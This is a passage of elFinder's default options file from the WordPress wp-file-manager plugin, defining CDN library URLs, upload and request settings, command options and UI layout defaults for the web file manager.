File: /var/www/html/americaspeakon.org/wp-content/plugins/wp-file-manager/lib/js/elFinder.options.js
/**
* Default elFinder config
*
* @type Object
* @autor Dmitry (dio) Levashov
*/
elFinder.prototype._options = {
/**
* URLs of 3rd party libraries CDN
*
* @type Object
*/
cdns : {
// for editor etc.
ace : 'https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.12',
codemirror : 'https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.61.1',
ckeditor : 'https://cdnjs.cloudflare.com/ajax/libs/ckeditor/4.16.1',
ckeditor5 : 'https://cdn.ckeditor.com/ckeditor5/28.0.0',
tinymce : 'https://cdnjs.cloudflare.com/ajax/libs/tinymce/5.7.1',
simplemde : 'https://cdnjs.cloudflare.com/ajax/libs/simplemde/1.11.2',
fabric : 'https://cdnjs.cloudflare.com/ajax/libs/fabric.js/4.2.0',
fabric16 : 'https://cdnjs.cloudflare.com/ajax/libs/fabric.js/1.6.7',
tui : 'https://uicdn.toast.com',
// for quicklook etc.
hls : 'https://cdnjs.cloudflare.com/ajax/libs/hls.js/1.0.2/hls.min.js',
dash : 'https://cdnjs.cloudflare.com/ajax/libs/dashjs/3.2.2/dash.all.min.js',
flv : 'https://cdnjs.cloudflare.com/ajax/libs/flv.js/1.5.0/flv.min.js',
videojs : 'https://cdnjs.cloudflare.com/ajax/libs/video.js/7.12.1',
prettify : 'https://cdn.jsdelivr.net/gh/google/code-prettify@f1c3473acd1e8ea8c8c1a60c56e89f5cdd06f915/loader/run_prettify.js',
psd : 'https://cdnjs.cloudflare.com/ajax/libs/psd.js/3.2.0/psd.min.js',
rar : 'https://cdn.jsdelivr.net/gh/nao-pon/rar.js@6cef13ec66dd67992fc7f3ea22f132d770ebaf8b/rar.min.js',
zlibUnzip : 'https://cdn.jsdelivr.net/gh/imaya/zlib.js@0.3.1/bin/unzip.min.js', // need check unzipFiles() in quicklook.plugins.js when update
zlibGunzip : 'https://cdn.jsdelivr.net/gh/imaya/zlib.js@0.3.1/bin/gunzip.min.js',
bzip2 : 'https://cdn.jsdelivr.net/gh/nao-pon/bzip2.js@0.8.0/bzip2.js',
marked : 'https://cdnjs.cloudflare.com/ajax/libs/marked/2.0.3/marked.min.js',
sparkmd5 : 'https://cdnjs.cloudflare.com/ajax/libs/spark-md5/3.0.0/spark-md5.min.js',
jssha : 'https://cdnjs.cloudflare.com/ajax/libs/jsSHA/3.2.0/sha.min.js',
amr : 'https://cdn.jsdelivr.net/gh/yxl/opencore-amr-js@dcf3d2b5f384a1d9ded2a54e4c137a81747b222b/js/amrnb.js',
tiff : 'https://cdn.jsdelivr.net/gh/seikichi/tiff.js@545ede3ee46b5a5bc5f06d65954e775aa2a64017/tiff.min.js'
},
/**
* Connector url. Required!
*
* @type String
*/
url : '',
/**
* Ajax request type.
*
* @type String
* @default "get"
*/
requestType : 'get',
/**
* Use CORS to connector url
*
* @type Boolean|null true|false|null(Auto detect)
*/
cors : null,
/**
* Array of header names to return parrot out in HTTP headers received from the server
*
* @type Array
*/
parrotHeaders : [],
/**
* Maximum number of concurrent connections on request
*
* @type Number
* @default 3
*/
requestMaxConn : 3,
/**
* Transport to send request to backend.
* Required for future extensions using websockets/webdav etc.
* Must be an object with "send" method.
* transport.send must return jQuery.Deferred() object
*
* @type Object
* @default null
* @example
* transport : {
* init : function(elfinderInstance) { },
* send : function(options) {
* var dfrd = jQuery.Deferred();
* // connect to backend ...
* return dfrd;
* },
* upload : function(data) {
* var dfrd = jQuery.Deferred();
* // upload ...
* return dfrd;
* }
*
* }
**/
transport : {},
/**
* URL to upload file to.
* If not set - connector URL will be used
*
* @type String
* @default ''
*/
urlUpload : '',
/**
* Allow to drag and drop to upload files
*
* @type Boolean|String
* @default 'auto'
*/
dragUploadAllow : 'auto',
/**
* Confirmation dialog displayed at the time of overwriting upload
*
* @type Boolean
* @default true
*/
overwriteUploadConfirm : true,
/**
* Max size of chunked data of file upload
*
* @type Number
* @default 10485760(10MB)
*/
uploadMaxChunkSize : 10485760,
/**
* Regular expression of file name to exclude when uploading folder
*
* @type Object
* @default { win: /^(?:desktop\.ini|thumbs\.db)$/i, mac: /^\.ds_store$/i }
*/
folderUploadExclude : {
win: /^(?:desktop\.ini|thumbs\.db)$/i,
mac: /^\.ds_store$/i
},
/**
* Timeout for upload using iframe
*
* @type Number
* @default 0 - no timeout
*/
iframeTimeout : 0,
/**
* Data to append to all requests and to upload files
*
* @type Object
* @default {}
*/
customData : {},
/**
* Event listeners to bind on elFinder init
*
* @type Object
* @default {}
*/
handlers : {},
/**
* Any custom headers to send across every ajax request
*
* @type Object
* @default {}
*/
customHeaders : {},
/**
* Any custom xhrFields to send across every ajax request
*
* @type Object
* @default {}
*/
xhrFields : {},
/**
* Interface language
*
* @type String
* @default "en"
*/
lang : 'en',
/**
* Base URL of elfFinder library starting from Manager HTML
* Auto detect when empty value
*
* @type String
* @default ""
*/
baseUrl : '',
/**
* Base URL of i18n js files
* baseUrl + "js/i18n/" when empty value
*
* @type String
* @default ""
*/
i18nBaseUrl : '',
/**
* Base URL of worker js files
* baseUrl + "js/worker/" when empty value
*
* @type String
* @default ""
*/
workerBaseUrl : '',
/**
* Auto load required CSS
* `false` to disable this function or
* CSS URL Array to load additional CSS files
*
* @type Boolean|Array
* @default true
*/
cssAutoLoad : true,
/**
* Theme to load
* {"themeid" : "Theme CSS URL"} or
* {"themeid" : "Theme manifesto.json URL"} or
* Theme manifesto.json Object
* {
* "themeid" : {
* "name":"Theme Name",
* "cssurls":"Theme CSS URL",
* "author":"Author Name",
* "email":"Author Email",
* "license":"License",
* "link":"Web Site URL",
* "image":"Screen Shot URL",
* "description":"Description"
* }
* }
*
* @type Object
*/
themes : {},
/**
* Theme id to initial theme
*
* @type String|Null
*/
theme : null,
/**
* Maximum value of error dialog open at the same time
*
* @type Number
*/
maxErrorDialogs : 5,
/**
* Additional css class for filemanager node.
*
* @type String
*/
cssClass : '',
/**
* Active commands list. '*' means all of the commands that have been load.
* If some required commands will be missed here, elFinder will add its
*
* @type Array
*/
commands : ['*'],
// Available commands list
//commands : [
// 'archive', 'back', 'chmod', 'colwidth', 'copy', 'cut', 'download', 'duplicate', 'edit', 'extract',
// 'forward', 'fullscreen', 'getfile', 'help', 'home', 'info', 'mkdir', 'mkfile', 'netmount', 'netunmount',
// 'open', 'opendir', 'paste', 'places', 'quicklook', 'reload', 'rename', 'resize', 'restore', 'rm',
// 'search', 'sort', 'up', 'upload', 'view', 'zipdl'
//],
/**
* Commands options.
*
* @type Object
**/
commandsOptions : {
// // configure shortcuts of any command
// // add `shortcuts` property into each command
// any_command_name : {
// shortcuts : [] // for disable this command's shortcuts
// },
// any_command_name : {
// shortcuts : function(fm, shortcuts) {
// // for add `CTRL + E` for this command action
// shortcuts[0]['pattern'] += ' ctrl+e';
// return shortcuts;
// }
// },
// any_command_name : {
// shortcuts : function(fm, shortcuts) {
// // for full customize of this command's shortcuts
// return [ { pattern: 'ctrl+e ctrl+down numpad_enter' + (fm.OS != 'mac' && ' enter') } ];
// }
// },
// "getfile" command options.
getfile : {
onlyURL : false,
// allow to return multiple files info
multiple : false,
// allow to return filers info
folders : false,
// action after callback (""/"close"/"destroy")
oncomplete : '',
// action when callback is fail (""/"close"/"destroy")
onerror : '',
// get path before callback call
getPath : true,
// get image sizes before callback call
getImgSize : false
},
open : {
// HTTP method that request to the connector when item URL is not valid URL.
// If you set to "get" will be displayed request parameter in the browser's location field
// so if you want to conceal its parameters should be given "post".
// Nevertheless, please specify "get" if you want to enable the partial request by HTTP Range header.
method : 'post',
// Where to open into : 'window'(default), 'tab' or 'tabs'
// 'tabs' opens in each tabs
into : 'window',
// Default command list of action when select file
// String value that is 'Command Name' or 'Command Name1/CommandName2...'
selectAction : 'open'
},
opennew : {
// URL of to open elFinder manager
// Default '' : Origin URL
url : '',
// Use search query of origin URL
useOriginQuery : true
},
// "upload" command options.
upload : {
// Open elFinder upload dialog: 'button' OR Open system OS upload dialog: 'uploadbutton'
ui : 'button'
},
// "download" command options.
download : {
// max request to download files when zipdl disabled
maxRequests : 10,
// minimum count of files to use zipdl
minFilesZipdl : 2
},
// "quicklook" command options.
quicklook : {
autoplay : true,
width : 450,
height : 300,
// ControlsList of HTML5 audio/video preview
// see https://googlechrome.github.io/samples/media/controlslist.html
mediaControlsList : '', // e.g. 'nodownload nofullscreen noremoteplayback'
// Show toolbar of PDF preview (with <embed> tag)
pdfToolbar : true,
// Maximum lines to preview at initial
textInitialLines : 100,
// Maximum lines to preview by prettify
prettifyMaxLines : 300,
// quicklook window must be contained in elFinder node on window open (true|false)
contain : false,
// preview window into NavDock (0 : undocked | 1 : docked(show) | 2 : docked(hide))
docked : 0,
// Docked preview height ('auto' or Number of pixel) 'auto' is setted to the Navbar width
dockHeight : 'auto',
// media auto play when docked
dockAutoplay : false,
// Google Maps API key (Require Maps JavaScript API)
googleMapsApiKey : '',
// Google Maps API Options
googleMapsOpts : {
maps : {},
kml : {
suppressInfoWindows : false,
preserveViewport : false
}
},
// ViewerJS (https://viewerjs.org/) Options
// To enable this you need to place ViewerJS on the same server as elFinder and specify that URL in `url`.
viewerjs : {
url: '', // Example '/ViewerJS/index.html'
mimes: ['application/pdf', 'application/vnd.oasis.opendocument.text', 'application/vnd.oasis.opendocument.spreadsheet', 'application/vnd.oasis.opendocument.presentation'],
pdfNative: true // Use Native PDF Viewer first
},
// MIME types to CAD-Files and 3D-Models online viewer on sharecad.org
// Example ['image/vnd.dwg', 'image/vnd.dxf', 'model/vnd.dwf', 'application/vnd.hp-hpgl', 'application/plt', 'application/step', 'model/iges', 'application/vnd.ms-pki.stl', 'application/sat', 'image/cgm', 'application/x-msmetafile']
sharecadMimes : [],
// MIME types to use Google Docs online viewer
// Example ['application/pdf', 'image/tiff', 'application/vnd.ms-office', 'application/msword', 'application/vnd.ms-word', 'application/vnd.ms-excel', 'application/vnd.ms-powerpoint', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'application/postscript', 'application/rtf']
googleDocsMimes : [],
// MIME types to use Microsoft Office Online viewer
// Example ['application/msword', 'application/vnd.ms-word', 'application/vnd.ms-excel', 'application/vnd.ms-powerpoint', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'application/vnd.oasis.opendocument.text', 'application/vnd.oasis.opendocument.spreadsheet', 'application/vnd.oasis.opendocument.presentation']
// These MIME types override "googleDocsMimes"
officeOnlineMimes : [],
// File size threshold when using the dim command for obtain the image size necessary to image preview
getDimThreshold : '200K',
// Max filesize to show filenames of the zip/tar/gzip/bzip file
unzipMaxSize : '50M',
// MIME-Type regular expression that does not check empty files
mimeRegexNotEmptyCheck : /^application\/vnd\.google-apps\./
},
// "edit" command options.
edit : {
// dialog width, integer(px) or integer+'%' (example: 650, '80%' ...)
dialogWidth : void(0),
// dialog height, integer(px) or integer+'%' (example: 650, '80%' ...)
dialogHeight : void(0),
// list of allowed mimetypes to edit of text files
// if empty - any text files can be edited
mimes : [],
// MIME-types to unselected as default of "File types to enable with "New file"" in preferences
mkfileHideMimes : [],
// MIME-types of text file to make empty file
makeTextMimes : ['text/plain', 'text/css', 'text/html'],
// Use the editor stored in the browser
// This value allowd overwrite with user preferences
useStoredEditor : false,
// Open the maximized editor window
// This value allowd overwrite with user preferences
editorMaximized : false,
// edit files in wysisyg's
editors : [
// {
// /**
// * editor info
// * @type Object
// */
// info : { name: 'Editor Name' },
// /**
// * files mimetypes allowed to edit in current wysisyg
// * @type Array
// */
// mimes : ['text/html'],
// /**
// * HTML element for editing area (optional for text editor)
// * @type String
// */
// html : '<textarea></textarea>',
// /**
// * Initialize editing area node (optional for text editor)
// *
// * @param String dialog DOM id
// * @param Object target file object
// * @param String target file content (text or Data URI Scheme(binary file))
// * @param Object elFinder instance
// * @type Function
// */
// init : function(id, file, content, fm) {
// jQuery(this).attr('id', id + '-text').val(content);
// },
// /**
// * Get edited contents (optional for text editor)
// * @type Function
// */
// getContent : function() {
// return jQuery(this).val();
// },
// /**
// * Called when "edit" dialog loaded.
// * Place to init wysisyg.
// * Can return wysisyg instance
// *
// * @param DOMElement textarea node
// * @return Object editor instance|jQuery.Deferred(return instance on resolve())
// */
// load : function(textarea) { },
// /**
// * Called before "edit" dialog closed.
// * Place to destroy wysisyg instance.
// *
// * @param DOMElement textarea node
// * @param Object wysisyg instance (if was returned by "load" callback)
// * @return void
// */
// close : function(textarea, instance) { },
// /**
// * Called before file content send to backend.
// * Place to update textarea content if needed.
// *
// * @param DOMElement textarea node
// * @param Object wysisyg instance (if was returned by "load" callback)
// * @return void
// */
// save : function(textarea, instance) {},
// /**
// * Called after load() or save().
// * Set focus to wysisyg editor.
// *
// * @param DOMElement textarea node
// * @param Object wysisyg instance (if was returned by "load" callback)
// * @return void
// */
// focus : function(textarea, instance) {}
// /**
// * Called after dialog resized..
// *
// * @param DOMElement textarea node
// * @param Object wysisyg instance (if was returned by "load" callback)
// * @param Object resize event object
// * @param Object data object
// * @return void
// */
// resize : function(textarea, instance, event, data) {}
//
// }
],
// Character encodings of select box
encodings : ['Big5', 'Big5-HKSCS', 'Cp437', 'Cp737', 'Cp775', 'Cp850', 'Cp852', 'Cp855', 'Cp857', 'Cp858',
'Cp862', 'Cp866', 'Cp874', 'EUC-CN', 'EUC-JP', 'EUC-KR', 'GB18030', 'ISO-2022-CN', 'ISO-2022-JP', 'ISO-2022-KR',
'ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4', 'ISO-8859-5', 'ISO-8859-6', 'ISO-8859-7',
'ISO-8859-8', 'ISO-8859-9', 'ISO-8859-13', 'ISO-8859-15', 'KOI8-R', 'KOI8-U', 'Shift-JIS',
'Windows-1250', 'Windows-1251', 'Windows-1252', 'Windows-1253', 'Windows-1254', 'Windows-1257'],
// options for extra editors
extraOptions : {
// upload command options
uploadOpts : {},
// TUI Image Editor's options
tuiImgEditOpts : {
// Path prefix of icon-a.svg, icon-b.svg, icon-c.svg and icon-d.svg in the Theme.
// `iconsPath` MUST follow the same origin policy.
iconsPath : void(0), // default is "./img/tui-"
// Theme object
theme : {}
},
// Pixo image editor constructor options - https://pixoeditor.com/
// Require 'apikey' to enable it
pixo: {
apikey: ''
},
// Browsing manager URL for CKEditor, TinyMCE
// Uses self location with the empty value or not defined.
//managerUrl : 'elfinder.html'
managerUrl : null,
// CKEditor editor options
ckeditor: {},
// CKEditor 5 editor options
ckeditor5: {
// builds mode - 'classic', 'inline', 'balloon', 'balloon-block' or 'decoupled-document'
mode: 'decoupled-document'
},
// TinyMCE editor options
tinymce : {},
// Setting for Online-Convert.com
onlineConvert : {
maxSize : 100, // (MB) Max 100MB on free account
showLink : true // It must be enabled with free account
}
}
},
fullscreen : {
// fullscreen mode 'screen'(When the browser supports it) or 'window'
mode: 'screen' // 'screen' or 'window'
},
search : {
// Incremental search from the current view
incsearch : {
enable : true, // is enable true or false
minlen : 1, // minimum number of characters
wait : 500 // wait milliseconds
},
// Additional search types
searchTypes : {
// "SearchMime" is implemented in default
SearchMime : { // The key is search type that send to the connector
name : 'btnMime', // Button text to be processed in i18n()
title : 'searchMime',// Button title to be processed in i18n()
incsearch : 'mime' // Incremental search target filed name of the file object
// Or Callable function
/* incsearch function example
function(queryObject, cwdHashes, elFinderInstance) {
var q = queryObject.val;
var regex = queryObject.regex;
var matchedHashes = jQuery.grep(cwdHashes, function(hash) {
var file = elFinderInstance.file(hash);
return (file && file.mime && file.mime.match(regex))? true : false;
});
return matchedHashes;
}
*/
}
}
},
// "info" command options.
info : {
// If the URL of the Directory is null,
// it is assumed that the link destination is a URL to open the folder in elFinder
nullUrlDirLinkSelf : true,
// Information items to be hidden by default
// These name are 'size', 'aliasfor', 'path', 'link', 'dim', 'modify', 'perms', 'locked', 'owner', 'group', 'perm' and your custom info items label
hideItems : [],
// Maximum file size (byte) to get file contents hash (md5, sha256 ...)
showHashMaxsize : 104857600, // 100 MB
// Array of hash algorisms to show on info dialog
// These name are 'md5', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512', 'sha3-224', 'sha3-256', 'sha3-384', 'sha3-512', 'shake128' and 'shake256'
showHashAlgorisms : ['md5', 'sha256'],
// Options for fm.getContentsHashes()
showHashOpts : {
shake128len : 256,
shake256len : 512
},
custom : {
// /**
// * Example of custom info `desc`
// */
// desc : {
// /**
// * Lable (require)
// * It is filtered by the `fm.i18n()`
// *
// * @type String
// */
// label : 'Description',
//
// /**
// * Template (require)
// * `{id}` is replaced in dialog.id
// *
// * @type String
// */
// tpl : '<div class="elfinder-info-desc"><span class="elfinder-spinner"></span></div>',
//
// /**
// * Restricts to mimetypes (optional)
// * Exact match or category match
// *
// * @type Array
// */
// mimes : ['text', 'image/jpeg', 'directory'],
//
// /**
// * Restricts to file.hash (optional)
// *
// * @ type Regex
// */
// hashRegex : /^l\d+_/,
//
// /**
// * Request that asks for the description and sets the field (optional)
// *
// * @type Function
// */
// action : function(file, fm, dialog) {
// fm.request({
// data : { cmd : 'desc', target: file.hash },
// preventDefault: true,
// })
// .fail(function() {
// dialog.find('div.elfinder-info-desc').html(fm.i18n('unknown'));
// })
// .done(function(data) {
// dialog.find('div.elfinder-info-desc').html(data.desc);
// });
// }
// }
}
},
mkdir: {
// Enable automatic switching function ["New Folder" / "Into New Folder"] of toolbar buttton
intoNewFolderToolbtn: false
},
resize: {
// defalt status of snap to 8px grid of the jpeg image ("enable" or "disable")
grid8px : 'disable',
// Preset size array [width, height]
presetSize : [[320, 240], [400, 400], [640, 480], [800,600]],
// File size (bytes) threshold when using the `dim` command for obtain the image size necessary to start editing
getDimThreshold : 204800,
// File size (bytes) to request to get substitute image (400px) with the `dim` command
dimSubImgSize : 307200
},
rm: {
// If trash is valid, items moves immediately to the trash holder without confirm.
quickTrash : true,
// Maximum wait seconds when checking the number of items to into the trash
infoCheckWait : 10,
// Maximum number of items that can be placed into the Trash at one time
toTrashMaxItems : 1000
},
paste : {
moveConfirm : false // Display confirmation dialog when moving items
},
help : {
// Tabs to show
view : ['about', 'shortcuts', 'help', 'integrations', 'debug'],
// HTML source URL of the heip tab
helpSource : ''
},
preference : {
// dialog width
width: 600,
// dialog height
height: 400,
// tabs setting see preference.js : build()
categories: null,
// preference setting see preference.js : build()
prefs: null,
// language setting see preference.js : build()
langs: null,
// Command list of action when select file
// Array value are 'Command Name' or 'Command Name1/CommandName2...'
selectActions : ['open', 'edit/download', 'resize/edit/download', 'download', 'quicklook']
}
},
/**
* Disabled commands relationship
*
* @type Object
*/
disabledCmdsRels : {
'get' : ['edit'],
'rm' : ['cut', 'empty'],
'file&url=' : ['download', 'zipdl'] // file command and volume options url is empty
},
/**
* Callback for prepare boot up
*
* - The this object in the function is an elFinder node
* - The first parameter is elFinder Instance
* - The second parameter is an object of other parameters
* For now it can use `dfrdsBeforeBootup` Array
*
* @type Function
* @default null
* @return void
*/
bootCallback : null,
/**
* Callback for "getfile" commands.
* Required to use elFinder with WYSIWYG editors etc..
*
* @type Function
* @default null (command not active)
*/
getFileCallback : null,
/**
* Default directory view. icons/list
*
* @type String
* @default "icons"
*/
defaultView : 'icons',
/**
* Hash of default directory path to open
*
* NOTE: This setting will be disabled if the target folder is specified in location.hash.
*
* If you want to find the hash in Javascript
* can be obtained with the following code. (In the case of a standard hashing method)
*
* var volumeId = 'l1_'; // volume id
* var path = 'path/to/target'; // without root path
* //var path = 'path\\to\\target'; // use \ on windows server
* var hash = volumeId + btoa(path).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '.').replace(/\.+$/, '');
*
* @type String
* @default ""
*/
startPathHash : '',
/**
* Emit a sound when a file is deleted
* Sounds are in sounds/ folder
*
* @type Boolean
* @default true
*/
sound : true,
/**
* UI plugins to load.
* Current dir ui and dialogs loads always.
* Here set not required plugins as folders tree/toolbar/statusbar etc.
*
* @type Array
* @default ['toolbar', 'places', 'tree', 'path', 'stat']
* @full ['toolbar', 'places', 'tree', 'path', 'stat']
*/
ui : ['toolbar', 'tree', 'path', 'stat'],
/**
* Some UI plugins options.
* @type Object
*/
uiOptions : {
// toolbar configuration
toolbar : [
['home', 'back', 'forward', 'up', 'reload'],
['netmount'],
['mkdir', 'mkfile', 'upload'],
['open', 'download', 'getfile'],
['undo', 'redo'],
['copy', 'cut', 'paste', 'rm', 'empty', 'hide'],
['duplicate', 'rename', 'edit', 'resize', 'chmod'],
['selectall', 'selectnone', 'selectinvert'],
['quicklook', 'info'],
['extract', 'archive'],
['search'],
['view', 'sort'],
['fullscreen']
],
// toolbar extra options
toolbarExtra : {
// also displays the text label on the button (true / false / 'none')
displayTextLabel: false,
// Exclude `displayTextLabel` setting UA type
labelExcludeUA: ['Mobile'],
// auto hide on initial open
autoHideUA: ['Mobile'],
// Initial setting value of hide button in toolbar setting
defaultHides: ['home', 'reload'],
// show Preference button ('none', 'auto', 'always')
// If you do not include 'preference' in the context menu you should specify 'auto' or 'always'
showPreferenceButton: 'none',
// show Preference button into contextmenu of the toolbar (true / false)
preferenceInContextmenu: false
},
// directories tree options
tree : {
// set path info to attr title
attrTitle : true,
// expand current root on init
openRootOnLoad : true,
// expand current work directory on open
openCwdOnOpen : true,
// auto loading current directory parents and do expand their node.
syncTree : true,
// Maximum number of display of each child trees
// The tree of directories with children exceeding this number will be split
subTreeMax : 100,
// Numbar of max connctions of subdirs request
subdirsMaxConn : 2,
// Number of max simultaneous processing directory of subdirs
subdirsAtOnce : 5,
// Durations of each animations
durations : {
slideUpDown : 'fast',
autoScroll : 'fast'
}
// ,
// /**
// * Add CSS class name to navbar directories (optional)
// * see: https://github.com/Studio-42/elFinder/pull/1061,
// * https://github.com/Studio-42/elFinder/issues/1231
// *
// * @type Function
// */
// getClass: function(dir) {
// // e.g. This adds the directory's name (lowercase) with prefix as a CSS class
// return 'elfinder-tree-' + dir.name.replace(/[ "]/g, '').toLowerCase();
// }
},
// navbar options
navbar : {
minWidth : 150,
maxWidth : 500,
// auto hide on initial open
autoHideUA: [] // e.g. ['Mobile']
},
navdock : {
// disabled navdock ui
disabled : false,
// percentage of initial maximum height to work zone
initMaxHeight : '50%',
// percentage of maximum height to work zone by user resize action
maxHeight : '90%'
},
cwd : {
// display parent folder with ".." name :)
oldSchool : false,
// fm.UA types array to show item select checkboxes e.g. ['All'] or ['Mobile'] etc. default: ['Touch']
showSelectCheckboxUA : ['Touch'],
// Enable dragout by dragstart with Alt key or Shift key
metakeyDragout : true,
// file info columns displayed
listView : {
// name is always displayed, cols are ordered
// e.g. ['perm', 'date', 'size', 'kind', 'owner', 'group', 'mode']
// mode: 'mode'(by `fileModeStyle` setting), 'modestr'(rwxr-xr-x) , 'modeoct'(755), 'modeboth'(rwxr-xr-x (755))
// 'owner', 'group' and 'mode', It's necessary set volume driver option "statOwner" to `true`
// for custom, characters that can be used in the name is `a-z0-9_`
columns : ['perm', 'date', 'size', 'kind'],
// override this if you want custom columns name
// example
// columnsCustomName : {
// date : 'Last modification',
// kind : 'Mime type'
// }
columnsCustomName : {},
// fixed list header colmun
fixedHeader : true
},
// icons view setting
iconsView : {
// default icon size (0-3 in default CSS (cwd.css - elfinder-cwd-size[number]))
size: 0,
// number of maximum size (3 in default CSS (cwd.css - elfinder-cwd-size[number]))
// uses in preference.js
sizeMax: 3,
// Name of each size
sizeNames: {
0: 'viewSmall',
1: 'viewMedium',
2: 'viewLarge',
3: 'viewExtraLarge'
}
},
// /**
// * Add CSS class name to cwd directories (optional)
// * see: https://github.com/Studio-42/elFinder/pull/1061,
// * https://github.com/Studio-42/elFinder/issues/1231
// *
// * @type Function
// */
// ,
// getClass: function(file) {
// // e.g. This adds the directory's name (lowercase) with prefix as a CSS class
// return 'elfinder-cwd-' + file.name.replace(/[ "]/g, '').toLowerCase();
//}
//,
//// Template placeholders replacement rules for overwrite. see ui/cwd.js replacement
//replacement : {
// tooltip : function(f, fm) {
// var list = fm.viewType == 'list', // current view type
// query = fm.searchStatus.state == 2, // is in search results
// title = fm.formatDate(f) + (f.size > 0 ? ' ('+fm.formatSize(f.size)+')' : ''),
// info = '';
// if (query && f.path) {
// info = fm.escape(f.path.replace(/\/[^\/]*$/, ''));
// } else {
// info = f.tooltip? fm.escape(f.tooltip).replace(/\r/g, ' ') : '';
// }
// if (list) {
// info += (info? ' ' : '') + fm.escape(f.name);
// }
// return info? info + ' ' + title : title;
// }
//}
},
path : {
// Move to head of work zone without UI navbar
toWorkzoneWithoutNavbar : true
},
dialog : {
// Enable to auto focusing on mouse over in the target form element
focusOnMouseOver : true
},
toast : {
animate : {
// to show
showMethod: 'fadeIn', // fadeIn, slideDown, and show are built into jQuery
showDuration: 300, // milliseconds
showEasing: 'swing', // swing and linear are built into jQuery
// timeout to hide
timeOut: 3000,
// to hide
hideMethod: 'fadeOut',
hideDuration: 1500,
hideEasing: 'swing'
}
}
},
/**
* MIME regex of send HTTP header "Content-Disposition: inline" or allow preview in quicklook
* This option will overwrite by connector configuration
*
* @type String
* @default '^(?:(?:image|video|audio)|text/plain|application/pdf$)'
* @example
* dispInlineRegex : '.', // is allow inline of all of MIME types
* dispInlineRegex : '$^', // is not allow inline of all of MIME types
*/
dispInlineRegex : '^(?:(?:image|video|audio)|application/(?:x-mpegURL|dash\+xml)|(?:text/plain|application/pdf)$)',
/**
* Display only required files by types
*
* @type Array
* @default []
* @example
* onlyMimes : ["image"] - display all images
* onlyMimes : ["image/png", "application/x-shockwave-flash"] - display png and flash
*/
onlyMimes : [],
/**
* Custom files sort rules.
* All default rules (name/size/kind/date/perm/mode/owner/group) set in elFinder._sortRules
*
* @type {Object}
* @example
* sortRules : {
* name : function(file1, file2) { return file1.name.toLowerCase().localeCompare(file2.name.toLowerCase()); }
* }
*/
sortRules : {},
/**
* Default sort type.
*
* @type {String}
*/
sortType : 'name',
/**
* Default sort order.
*
* @type {String}
* @default "asc"
*/
sortOrder : 'asc',
/**
* Display folders first?
*
* @type {Boolean}
* @default true
*/
sortStickFolders : true,
/**
* Sort also applies to the treeview (null: disable this feature)
*
* @type Boolean|null
* @default false
*/
sortAlsoTreeview : false,
/**
* If true - elFinder will formating dates itself,
* otherwise - backend date will be used.
*
* @type Boolean
*/
clientFormatDate : true,
/**
* Show UTC dates.
* Required set clientFormatDate to true
*
* @type Boolean
*/
UTCDate : false,
/**
* File modification datetime format.
* Value from selected language data is used by default.
* Set format here to overwrite it.
*
* @type String
* @default ""
*/
dateFormat : '',
/**
* File modification datetime format in form "Yesterday 12:23:01".
* Value from selected language data is used by default.
* Set format here to overwrite it.
* Use $1 for "Today"/"Yesterday" placeholder
*
* @type String
* @default ""
* @example "$1 H:m:i"
*/
fancyDateFormat : '',
/**
* Style of file mode at cwd-list, info dialog
* 'string' (ex. rwxr-xr-x) or 'octal' (ex. 755) or 'both' (ex. rwxr-xr-x (755))
*
* @type {String}
* @default 'both'
*/
fileModeStyle : 'both',
/**
* elFinder width
*
* @type String|Number
* @default "auto"
*/
width : 'auto',
/**
* elFinder node height
* Number: pixcel or String: Number + "%"
*
* @type Number | String
* @default 400
*/
height : 400,
/**
* Do not resize the elFinder node itself on resize parent node
* Specify `true` when controlling with CSS such as Flexbox
*
* @type Boolean
* @default false
*/
noResizeBySelf : false,
/**
* Base node object or selector
* Element which is the reference of the height percentage
*
* @type Object|String
* @default null | jQuery(window) (if height is percentage)
**/
heightBase : null,
/**
* Make elFinder resizable if jquery ui resizable available
*
* @type Boolean
* @default true
*/
resizable : true,
/**
* Timeout before open notifications dialogs
*
* @type Number
* @default 500 (.5 sec)
*/
notifyDelay : 500,
/**
* Position CSS, Width of notifications dialogs
*
* @type Object
* @default {position: {}, width : null} - Apply CSS definition
* position: CSS object | null (null: position center & middle)
*/
notifyDialog : {position : {}, width : null, canClose : false, hiddens : ['open']},
/**
* Dialog contained in the elFinder node
*
* @type Boolean
* @default false
*/
dialogContained : false,
/**
* Allow shortcuts
*
* @type Boolean
* @default true
*/
allowShortcuts : true,
/**
* Remeber last opened dir to open it after reload or in next session
*
* @type Boolean
* @default true
*/
rememberLastDir : true,
/**
* Clear historys(elFinder) on reload(not browser) function
* Historys was cleared on Reload function on elFinder 2.0 (value is true)
*
* @type Boolean
* @default false
*/
reloadClearHistory : false,
/**
* Use browser native history with supported browsers
*
* @type Boolean
* @default true
*/
useBrowserHistory : true,
/**
* Lazy load config.
* How many files display at once?
*
* @type Number
* @default 50
*/
showFiles : 50,
/**
* Lazy load config.
* Distance in px to cwd bottom edge to start display files
*
* @type Number
* @default 50
*/
showThreshold : 50,
/**
* Additional rule to valid new file name.
* By default not allowed empty names or '..'
* This setting does not have a sense of security.
*
* @type false|RegExp|function
* @default false
* @example
* disable names with spaces:
* validName : /^[^\s]+$/,
*/
validName : false,
/**
* Additional rule to filtering for browsing.
* This setting does not have a sense of security.
*
* The object `this` is elFinder instance object in this function
*
* @type false|RegExp|function
* @default false
* @example
* show only png and jpg files:
* fileFilter : /.*\.(png|jpg)$/i,
*
* show only image type files:
* fileFilter : function(file) { return file.mime && file.mime.match(/^image\//i); },
*/
fileFilter : false,
/**
* Backup name suffix.
*
* @type String
* @default "~"
*/
backupSuffix : '~',
/**
* Sync content interval
*
* @type Number
* @default 0 (do not sync)
*/
sync : 0,
/**
* Sync start on load if sync value >= 1000
*
* @type Bool
* @default true
*/
syncStart : true,
/**
* How many thumbnails create in one request
*
* @type Number
* @default 5
*/
loadTmbs : 5,
/**
* Cookie option for browsersdoes not suppot localStorage
*
* @type Object
*/
cookie : {
expires : 30,
domain : '',
path : '/',
